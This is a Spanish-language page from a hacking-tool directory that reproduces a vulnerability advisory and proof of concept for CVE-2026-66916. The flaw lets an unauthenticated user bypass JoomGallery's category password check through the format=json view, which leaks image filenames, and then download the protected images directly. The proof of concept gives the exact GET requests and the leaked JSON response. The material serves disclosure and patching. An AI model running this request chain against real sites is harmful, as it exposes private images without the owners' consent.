Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-66916 — Omisi?n de categoría protegida por contraseña mediante formato JSON en JoomGallery | Kitploit
Herramientas/GitHubGitHub/toanln-cov/cve-2026-66916
Análisis de VulnerabilidadesExplotación de Aplicaciones WebSeguridad Web
GitHubtoanln-cov/cve-2026-66916

CVE-2026-66916

Omisi?n de categoría protegida por contraseña mediante formato JSON en JoomGallery

Ver Repositorio
3hace 21 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Omisión de Categorías Protegidas por Contraseña mediante Formato JSON en JoomGallery

JoomGallery ≤ 4.3.0-stable — Un atacante no autenticado omite la barrera de contraseña para descargar imágenes protegidas

CVE CVSS v4.0 CWE-284 Affected Researcher


RESUMEN

Existe una omisión de control de acceso no autenticado en la vista JSON de categorías de JoomGallery. Cuando una categoría de galería está protegida con contraseña, la vista HTML aplica correctamente la barrera de contraseña, pero la vista JSON (format=json) omite esta comprobación por completo.

Un atacante remoto sin credenciales puede obtener el título, la descripción y los nombres de archivo aleatorizados de todas las imágenes protegidas de la categoría, y luego descargar esas imágenes directamente. La protección por contraseña se evade con una única petición HTTP.

La omisión se limita a las categorías cuyo nivel de acceso ACL de Joomla está establecido en Público (access=1). Las categorías restringidas al acceso Registrado o Especial siguen bloqueadas en la capa ACL en JsonView.php:69.


VERSIONES AFECTADAS

COMPONENTEVULNERABLEPROBADO ENCORREGIDO
JoomGallery4.3.0-stableJoomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache)4.4.0

DETALLES DE LA VULNERABILIDAD

Tipo: Control de acceso inadecuado (CWE-284) Autenticación requerida: Ninguna — no autenticado, una única petición HTTP Archivo: site/com_joomgallery/src/View/Category/JsonView.php, líneas 76–96

Causa raíz

JoomGallery implementa la protección por contraseña para las categorías mediante un indicador pw_protected. Esta comprobación está presente en HtmlView.php pero completamente ausente en JsonView.php:

HTMLVIEW.PHP — CORRECTO (con protección presente)

root@kitploit:~
// content is withheld and a password form is rendered
if (!$this->item->pw_protected) {
    $this->item->images->items   = $model->getImages();
    $this->item->children->items = $model->getChildren();
}

JSONVIEW.PHP — VULNERABLE (sin protección)

root@kitploit:~
// JsonView.php:76-96 — no pw_protected check; content returned unconditionally
$this->item->parent          = $model->getParent();
$this->item->children->items = $model->getChildren();  // always executes
$this->item->images->items   = $model->getImages();    // always executes
$this->output($this->item);  // serializes full response to JSON including filenames

El parámetro format=json de Joomla enruta la misma URL a una clase View separada. Cada View debe aplicar las comprobaciones de acceso de forma independiente: el framework no las propaga automáticamente. El desarrollador añadió la protección pw_protected a HtmlView pero la omitió en JsonView.

La protección por contraseña de JoomGallery se basa en mantener secretos los nombres de archivo de las imágenes; los archivos se almacenan como recursos estáticos en /images/joomgallery/originals/ y Apache los sirve directamente sin autenticación en el servidor. Los nombres de archivo se aleatorizan (p. ej., secret-image-1_20260803_1951053711.jpg) y solo se revelan después de superar la comprobación de contraseña a través de la capa PHP/Joomla. La omisión JSON rompe este modelo al revelar los nombres de archivo a solicitantes no autenticados, completando la cadena de ataque hasta la obtención total de las imágenes.


PRUEBA DE CONCEPTO

Configuración del laboratorio:

  • Categoría: Galería Secreta (id=3, pw_protected=true, access=Público)
  • Contiene: Imagen Secreta 1 (secret-image-1_20260803_1951053711.jpg)
  • Sin cookies, sin sesión, sin credenciales utilizadas en ninguno de los pasos siguientes

1. La vista HTML aplica la barrera de contraseña

root@kitploit:~
GET /index.php/component/joomgallery/category/3

Resultado: Se muestra el formulario de contraseña. No se ve ningún contenido de la categoría.

Paso 1 — Barrera de contraseña en HTML


2. El acceso directo a la imagen también está bloqueado mediante HTML

root@kitploit:~
GET /index.php/gallery/categories/3-secret-gallery

Resultado: El acceso directo a la imagen está bloqueado dentro de la ruta Alias (/3-secret-gallery)

Paso 2 — Acceso a la imagen bloqueado


3. El formato JSON omite la comprobación de contraseña: filtra el nombre de archivo real

root@kitploit:~
GET /index.php?option=com_joomgallery&view=category&format=json&id=3

Respuesta (HTTP 200, sin autenticación):

root@kitploit:~
{
  "success": true,
  "data": {
    "title": "Secret Gallery",
    "description": "<p>SENSITIVE: Internal photos — restricted access</p>",
    "pw_protected": true,
    "access": 1,
    "images": {
      "items": [
        {
          "title": "Secret Image 1",
          "filename": "secret-image-1_20260803_1951053711.jpg",
          "cattitle": "Secret Gallery",
          "access": "Public"
        }
      ]
    }
  }
}

pw_protected: true confirma que la contraseña está establecida. A pesar de ello, la respuesta completa, incluido el nombre de archivo aleatorizado, se devuelve a un solicitante no autenticado.

Paso 3 — La omisión JSON filtra el nombre de archivo


4. Descargar la imagen protegida usando el nombre de archivo filtrado

Usando el nombre de archivo obtenido en el Paso 3

Resultado: HTTP 200: el archivo de imagen es devuelto directamente por Apache. No se requiere autenticación.

Paso 4 — Imagen protegida descargada


IMPACTO

  1. Leer metadatos de categorías protegidas — título, descripción, información de creación, jerarquía de elementos superiores, todo devuelto sin autenticación
  2. Enumerar todos los nombres de archivo de imagen dentro de cualquier categoría Pública protegida por contraseña mediante una única petición JSON
  3. Descargar todas las imágenes protegidas a resolución original completa mediante acceso directo a archivos estáticos usando los nombres de archivo reales filtrados

Cualquier categoría de galería que el administrador haya protegido con contraseña queda totalmente comprometida. El atacante solo necesita el ID numérico de la categoría, que es secuencial y trivialmente enumerable.


REFERENCIAS

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-66916
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-66916
  • Aviso de GitHub: https://github.com/advisories/GHSA-g79m-pfhw-2c5m
  • Repositorio del proveedor: https://github.com/JoomGallery/JoomGallery
  • Nota de la nueva versión del proveedor: https://www.joomgalleryfriends.net/en/blog/joomgallery-4-en/joomgallery-4-4-0.html
Descargar herramienta